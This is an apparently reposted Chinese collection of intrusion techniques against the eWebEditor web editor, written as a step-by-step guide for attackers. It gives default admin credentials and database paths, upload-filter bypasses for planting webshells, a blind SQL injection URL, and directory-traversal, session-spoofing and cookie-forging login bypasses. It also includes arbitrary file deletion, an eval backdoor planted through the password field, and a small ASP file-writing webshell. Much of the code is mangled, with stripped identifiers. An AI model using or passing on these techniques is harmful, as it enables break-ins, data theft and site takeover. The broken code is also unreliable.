2023年7月13日发(作者:)
Ewebeditor最新漏洞及漏洞⼤全Ewebeditor最新漏洞及漏洞⼤全[收集]来源:转载作者:佚名时间:2009-06-03 00:04:26下⾯⽂章收集转载于⽹络:) 算是⽐較全⾯的ewebeditor编辑器的漏洞收集,如今的站点⼤多数⽤的都是ewebeditor编辑器,所以ewebeditor漏洞的危害性还是相当⼤的,做了⼀下漏洞收集,漏洞修补的⽅法可去⽹上查找。 这⾥是最关键的⼀部! 这⾥点了远程上传以后,再提交得到⽊马地址因为官⽅在图⽚⽂件夹做了限制导致不能运⾏ASP脚本⽽没能拿到WEB权限。属于安全检測漏洞版本号ewebeditor v6.0.0曾经的ewebeditor漏洞:ewebeditor注⼊漏洞过往漏洞:
eWebEditor=>2.8 商业版后台⼀句话⽊马利⽤登陆后台,点击改动password---新password设置为 1":evalrequest("a")’设置成功后,訪问asp/⽂件就可以,⼀句话⽊马被写⼊到这个⽂件中⾯了.
ewebeditor漏洞利⽤总结 先从最主要的记录起!通常⼊侵ewebeditor编辑器的过程例如以下:1、⾸先訪问默认管理页看是否存在。 默认管理页地址2.80曾经为 ewebeditor/admin_ 以后版本号为admin/ (各种语⾔的⼤家⾃⼰改后缀,本⽂就以asp来进⾏说明,以下不再细说了!)2、默认管理帐号password! 默认管理页存在!我们就⽤帐号password登陆!默认帐号password为: admin admin888 !经常使⽤的password还有adminadmin999 admin1 admin000 之类的。3、默认数据库地址。 假设password不是默认的。我们就訪问是不是默认数据库!尝试下载数据库得到管理员password!管理员的帐号password,都在eWebEditor_System表段⾥,sys_UserName Sys_UserPass 都是md5加密的。得到了加密password。能够去 等站点进⾏查询!暴⼒这活好久不⼲了!也能够丢国外⼀些能够跑password的站点去跑! 默认数据库路径为:ewebeditor/db/ 经常使⽤数据库路径为:ewebeditor/db/beditor/db/beditor/db/# ewebeditor/db/#beditor/db/!@#beditor/db/ 等 ⾮常多管理员常改.asp后缀,⼀般訪问.asp .asa 后缀的都是乱码!能够⽤下载⼯具下载下来,然后更改后缀为.mdb 来查看内容!4、说说漏洞基本利⽤步骤,还以asp为例! 登陆后台以后。选择样式管理,默认编辑器的默认样式都不能够改动的。我们能够从随意样式新建⼀个样式,然后在图⽚上传加⼊可上传后缀。.asa .cer .cdx 等!.asp 过滤过了。可是我们能够⽤.asaspp后缀来加⼊,这样上传⽂件正好被ewebeditor 吃掉asp后缀,剩下.asp呵呵!代码不具体说了。总之是个⾮常可笑的过滤!相同,假设遇到⼀个管理员有安全意识的,从代码⾥,把.asp .asa .cer .cdx 都全然禁⽌了,我们也能够⽤.asasaa 后缀来突破。加⼊完了后缀,能够在样式管理,点击预览,然后上传!5、默认管理页不存在! 在实际⼊侵过程中,有⾮常多默认的管理页不存在的时候。我们能够直接訪问样式管理页⾯ ewebeditor/admin_ 然后⽤第4步的⽅式拿webshell。假设样式管理页也不存在的话,我们能够看数据库内的样式表(ewebeditor_style)⾥⾯有没有⽐我们先进去的朋友留下的样式。然后构造上传!详细url例如以下:eWebEditor/?id=content&style=www 红⾊部分是我们发现被改动加⼊了asa后缀的样式名,⼤家⾃⾏改动!6、ewebeditor的⼏个版本号存在注⼊! ewebeditor 曾经版本号都存在注⼊ ewebeditor/?id=article_content&style=Full_v200 !加⼊验证字符串,和管理员字段能够跑出管理员的md5加密password! ewebeditor v2.1.6存在注⼊,能够⽤union select 加⼊上传后缀进⾏上传!先贴漏洞利⽤⽅式!--------------------------------------------------------------------------------------------------------------
ewebeditor asp版 2.1.6上传漏洞利⽤程序----
-------------------------------------------------------------------------------------------------------------- 以上代码令存为html!改动红⾊部分的路径,然后⾃⼰主动上传 .cer ⽂件!漏洞原因是由于sStyleName变量直接从style中读取,并没有过滤,所以能够包括随意字符!⽤select在ewebeditor_style表中查找s_name为sStyleName的记录,找不到就提⽰出错!在sStyleName变量中⽤union来构造记录,我们能够在sAllowExt中增加"|cer"、"|asa"等! 另外另⼀些版本号的ewebeditor的⽂件存在注⼊漏洞!贴⼏个注⼊⽤的url!信息错误则返回脚本出错的提⽰,在浏览器左下⾓!详细利⽤例如以下:ewebeditor/?[S_ImageExt]%2b'|cer',S_MediaExt,S_FileSize,S_FlashSize,S_ImageSize,S_MediaSize,S_StateFlag,S_DetectFromWord,S_InitMode,S_BaseUrltype=FILE&style=standard_coolblue1'and%20(select%20top%201%20asc(mid(sys_userpass,15,1))%20from%20ewebeditor_system%20)>98%20注意改动红⾊部分的字段名、位数、ascii码的值!7、⽂件夹遍历漏洞! 这⾥⼤概说⼀下!⽂件夹遍历漏洞基本存在于ewebeditor/admin_ ⾼版本号的是ewebeditor/admin/ ⽂件!这个⽂件有的不须要登陆验证,有些须要!⾮常多有经验的管理员会把编辑器的⽂件夹设置为仅仅读权限,不可改动!这样的情况下,唯⼀能够利⽤的也就是利⽤遍历⽂件夹功能查看站点⽂件,⽐⽅数据库路径、后台地址、其它的上传地址、最直观的就是别⼈留下的⼩马等等!这些都⾃由发挥了!说下漏洞利⽤⽅法! 漏洞利⽤⽅式例如以下:在上传⽂件管理页⾯随便选择⼀个上传样式!⽐⽅ewebeditor/admin_?id=14 在id后⾯加⼊&dir=../..类似例如以下:webeditor/admin_?id=14&dir=../../../../data/能够看到站点数据库的路径! 另外⼀个遍历⽂件夹的漏洞⽂件是ewebeditor/asp/漏洞代码为:Function GetList()Dim s_List, s_Urls_List = ""Dim oFSO, oUploadFolder, oUploadFiles,oUploadFile, sFileName' sCurrDir'On Error Resume NextSet oFSO =Object("stemObject")Set oUploadFolder =der(h(sCurrDir))'注意⼀下sCurrDir变量,这个值等下我们能够⽤到If >0 Thens_List = ""Exit FunctionEnd IfIf sDir <> "" ThenIf InstrRev(sDir, "/") > 1Thens_Url= Left(sDir, InstrRev(sDir,"/") - 1)Elses_Url = ""End If
s_List = s_List & "" & _"" & _".." & _" " & _""End If'Dir&"!"&s_List
Dim oSubFolderFor Each oSubFolder ders' dersIf sDir = "" Thens_Url = ses_Url = sDir & "/" &d Ifs_List = s_List & "" & _"" & _"" & &"" & _" " & _""Next' s_List
Set oUploadFiles =
For Each oUploadFile In oUploadFiles' ileName = CheckValidExt(sFileName) = True Then'这⾏让⼈有点郁闷,检測了全部同意的⽂件后缀,如不同意就⽆法列出,不然就不仅仅列出⽂件夹名和图⽚⽂件了If sDir = "" Thens_Url = sContentPath & sFileNameElses_Url = sContentPath & sDir &"/" & sFileNameEnd If
s_List = s_List & "" & _"" & FileName2Pic(sFileName)& "" & _"" & sFileName &"" & _"" &GetSizeUnit() & "" & _""End IfNextSet oUploadFolder = NothingSet oUploadFiles = Nothing' code(s_List)&"!"&s_Url
If sDir = "" Thens_Url = ""'s_Url = "/"Elses_Url = "/" & sDir &""'s_Url = "/" & sDir &"/"End If
s_List = s_List & ""s_List = HTML2JS(s_List)'code(s_List)&"!"&s_Urls_List = "List("""& s_List & """, """ & s_Url &""")"GetList = s_ListEnd Function'假设没有以下这步检測的话,应该就能够列出⽂件夹中全部的⽂件了,有点郁闷..如今仅仅能列出同意后缀的⽂件和⽂件夹名Function CheckValidExt(s_FileName)If sAllowExt = "" ThenCheckValidExt = TrueExit FunctionEnd If
Dim i, aExt, sExtsExt = LCase(Mid(s_FileName,InStrRev(s_FileName, ".") + 1))CheckValidExt = FalseaExt = Split(LCase(sAllowExt), "|")For i = 0 To UBound(aExt)If aExt(i) = sExt ThenCheckValidExt = TrueExit FunctionEnd IfNextEnd Function'我们顺着代码往下找,发现sCurrDir的值是通过以下的值得到的Sub InitParam()sType =UCase(Trim(tring("type")))sStyleName =Trim(tring("style"))
Dim i, aStyleConfig, bValidStylebValidStyle = FalseFor i = 1 To Ubound(aStyle)aStyleConfig = Split(aStyle(i),"|||")If Lcase(sStyleName) =Lcase(aStyleConfig(0)) ThenbValidStyle = TrueExit ForEnd IfNext
If bValidStyle = False ThenOutScript("alert('InvalidStyle.')")End If
sBaseUrl = aStyleConfig(19)'nAllowBrowse = CLng(aStyleConfig(43))nAllowBrowse = 1
If nAllowBrowse <> 1 ThenOutScript("alert('Do not allowbrowse!')")End If sUploadDir = aStyleConfig(3)If Left(sUploadDir, 1) <>"/" ThenSelect Case sTypeCase "REMOTE"sUploadDir = "../../" &sUploadDir & "Image/"Case "FILE"sUploadDir = "../../" &sUploadDir & "Other/"Case "MEDIA"sUploadDir = "../../" &sUploadDir & "Media/"Case "FLASH"sUploadDir = "../../" &sUploadDir & "Flash/"Case ElsesUploadDir = "../../" &sUploadDir & "Image/"End SelectEnd If'sUploadDir =sUploadDir &"/"
Select Case sBaseUrlCase "0"'sContentPath = aStyleConfig(23)Select Case sTypeCase "REMOTE"sContentPath = "../" &aStyleConfig(3) & "Image/"Case "FILE"sContentPath = "../" &aStyleConfig(3) & "Other/"Case "MEDIA"sContentPath = "../" &aStyleConfig(3) & "Media/"Case "FLASH"sContentPath = "../" &aStyleConfig(3) & "Flash/"Case ElsesContentPath = "../" &aStyleConfig(3) & "Image/"End SelectCase "1"sContentPath =RelativePath2RootPath(sUploadDir)Case "2"sContentPath =RootPath2DomainPath(RelativePath2RootPath(sUploadDir))End Select
Select Case sTypeCase "REMOTE"sAllowExt = aStyleConfig(10)Case "FILE"sAllowExt = aStyleConfig(6)Case "MEDIA"sAllowExt = aStyleConfig(9)Case "FLASH"sAllowExt = aStyleConfig(7)Case ElsesAllowExt = aStyleConfig(8)End Select
sCurrDir = sUploadDir '注意这⾥,这个是得到了配置的路径地址sDir = Trim(Request("dir")) '得到dir变量sDir = Replace(sDir, "","/") '对dir变量进⾏过滤sDir = Replace(sDir, "../","")sDir = Replace(sDir, "./","")If sDir <> "" ThenIf CheckValidDir(h(sUploadDir& sDir)) = True ThensCurrDir = sUploadDir & sDir &"/"'重点就在这⾥了,看到没有,当sUploadDir & sDir存在的时候,sCurrDir就为sUploadDir & sDir的值了'尽管上⾯对sDir进⾏了过滤,只是我们全然能够跳过.详细利⽤以下的利⽤中给出ElsesDir = ""End IfEnd IfEnd Sub利⽤⽅式例如以下:这样⼦就能够看到admin的内容了。构造特殊的dir绕过上⾯的验证!页⾯空⽩的时候查看源码,就能够看到⽂件夹列表了!8、session欺骗漏洞! 适⽤于⼀些设置不当的虚拟主机。当旁注得到⼀个webshell,⽽⽬标站存在ewebeditor却不能找到password的时候能够尝试欺骗进⼊后台!顺序例如以下: 新建⼀个.asp⽂件,内容例如以下:<%Session("eWebEditor_User") = "123132323"%> 然后訪问这个⽂件,再訪问ewebeditor/admin_!欺骗进⼊后台!只是⾮常⽼了!9、后台跳过认证漏洞! 訪问后台登陆页⾯!随便输⼊帐号password,返回错误!然后清空浏览器,在地址栏输⼊javascript:alert(="adminuser="+escape("admin"));javascript:alert(="adminpass="+escape("admin"));javascript:alert(="admindj="+escape("1")); 然后再清空地址栏,在路径⾥输⼊后台登陆后的页⾯,⽐⽅: admin_ admin/ 等。直接进⼊后台,利⽤⽅式见上⽂!10、利⽤远程上传功能! 利⽤代码例如以下:⾸先建⽴ 代码例如以下<%Set fs =CreateObject("stemObject")SetMyTextStream=xtFile(h(""),1,false,0)Thetext= thetext%>在我们的的同⽂件夹下建⽴⼀个⽂件,内容就是我们的⼩马:<%on error resume next%><%ofso="stemobject"%><%set fso=object(ofso)%><%path=request("path")%><%if path<>"" then%><%data=request("dama")%><%setdama=textfile(path,true)%><% data%><%if err=0 then%><%="success"%><%else%><%="false"%><%end if%><%%><%end if%><%%><%set dama=nothing%><%set fos=nothing%><%="
"%>利⽤上⾯说的远程上传的⽅式!能够得到webshell!成功率取决于,虚拟主机的安全设置!11、随意⽂件删除漏洞! 此漏洞存在于ExampleNewsSystem⽂件夹下的⽂件⾥,这是ewebeditor的測试页⾯,⽆须登陆能够直接进⼊!看代码' 把带"|"的字符串转为数组Dim aSavePathFileNameaSavePathFileName = Split(sSavePathFileName, "|")' 删除新闻相关的⽂件,从⽬录中Dim iFor i = 0 To UBound(aSavePathFileName)' 按路径⽂件名称删除⽂件Call DoDelFile(aSavePathFileName(i))Next⽽aSavePathFileName是前⾯从数据库取出来的:sSavePathFileName =oRs("D_SavePathFileName")看看D_SavePathFileName是怎么加⼊到数据库⾥的,在()⾥:sSavePathFileName=GetSafeStr(("d_savepathfilename"))...oRs("D_SavePathFileName") =sSavePathFileName 竟然过滤了,是GetSafeStr函数,再看看这个函数,在⾥:Function GetSafeStr(str)GetSafeStr =Replace(Replace(Replace(Trim(str), "'", ""), Chr(34),""), ";", "")End Function 既然路径没有过滤,那就能够直接定义了,构造⼀个提交页⾯,当中d_savepathfilename⾃⼰随意赋值(要删除多个⽂件,⽤|隔开就可以)。试试../../,提交后删除该新闻,于是主⽂件夹下的不见了!漏洞利⽤:要删的⽂件(相对路径就能够了): | |
新闻标题(随便填): | |
标题图⽚: | |
新闻内容(随便填): |
有⼏个版本号的ewebeditor上传类型是在 ⽂件控制的!直接删除该⽂件能够上传随意webshell!12、其它! 其它说点什么呢!以上的办法都是本⼈经验和⽹上搜集!临时就想到这些了,以后想到了再补全!说说aspxphp jsp版本号的利⽤吧!ASPX版:受影响⽂件:eWebEditorNet/利⽤⽅法:添好本地的cer的Shell⽂件。在浏览器地址栏输⼊javascript:();就能得到shell。嘿嘿....绕过了限制......成功的上传了ASPX⽂件....⽂件默认的上传后保存的地址是eWebEditorNet/UploadFile/如今来看看是否上传成功.....PHP版本号:PhP版本号和asp版本号利⽤⽅式类似!只是php权限较⾼,不多废话了!jsp版本号:⽹上有⾮常多jsp的版本号,根本没有对上传⽂件类型进⾏检測!须要注意的是jsp版本号的没有上传button!直接选择⽂件,回车就能够提交了!
安脚本分主要有4个版本号,ASP/ASPX/PHP/JSP 每⼀个版本号都有能够利⽤的漏洞。
安全漏洞管理员未对编辑器的数据库路径和名称进⾏改动,导致能够利⽤编辑器默认路径直接对站点数据库进⾏下载。管理员未对编辑器的⽤户登录路径进⾏改动,导致⿊客能够利⽤站点数据库所获得的username和password直接登陆编辑器管理后台。
ASP版重要⽂件的名称和路径Admin_in_in_in_in_/
⼀般⽤这个的默认后台的URL都是默认的
下载数据库还有假设默认的账户和password改动了,我们能够下载他们的数据库,然后本地破解MD5了默认数据库…/db/ 或者。../db/
登录后台后,点击样式管理,随便选择⼀个样式,⾃带的样式不能改动的。拷贝⼀个样式,在其他类型中添加,asa类型,接下来把免杀的asp⽊马的后缀名改成asa,返回管理⾸页,点击预览,然后选择插⼊其他⽂件的button进⾏asp⽊马的上传,上传的ASP⽊马就在,UploadFILE⽬录⾥。
假设加了asa类型后发现还是⽆法上传。应该是站长懂点代码,⾃⼰改动了⽂件,可是没有关系,依照常⼈的思维习惯,往往直接在sAllowExt =Replace(UCase(sAllowExt),”asp”,””)⼀句上改动。可是我们仅仅要在上传类型中添加“aaspsp”,就能够传asp⽂件了,假设上述两种⽅法都失败了,则利⽤eWebEditor可以设定⾃⼰主动保存远程⽂件的类型,我们可以增加asp类型。可是怎样才⼲让远程訪问的asp⽂件可以以源代码形式保存呢?⽅法是⾮常多的,最简单的⽅法是将IIS中的应⽤⽂件映射中的ASP删除。有的站数据库设置了仅仅读属性,这种站你是⽆法新加样式的,这种站你能够看他数据库⾥的样式设置情况,⼀般⾮常多时候都是让⼈给拿过的,并且明显的asa在那⾥。这种话就能够直接构造⼀个调⽤这个样式的连接来上传shell.这样就能够直接上传了,然后在点编辑就会找到shell的路径了。事实上这个漏洞主要是的过滤不严造成的,新版的应该都修复了,详细爱影响的版本号我也没统计过。遍历路径Cookie漏洞漏洞⽂件:admin_漏洞语句:<% if session (“eWebEditor_User”) = “”ct “admin_” If仅仅推断了session,没有推断cookies和路径的验证问题。漏洞利⽤:新建⼀个内容例如以下:<%Session (“eWebEditor_User”) =”11111111”%>訪问,再訪问后台不论什么⽂件,forexample:Admin_这个拿shell的⽅法就简单了。
发布者:admin,转转请注明出处:http://www.yc00.com/news/1689192357a218968.html
评论列表(0条)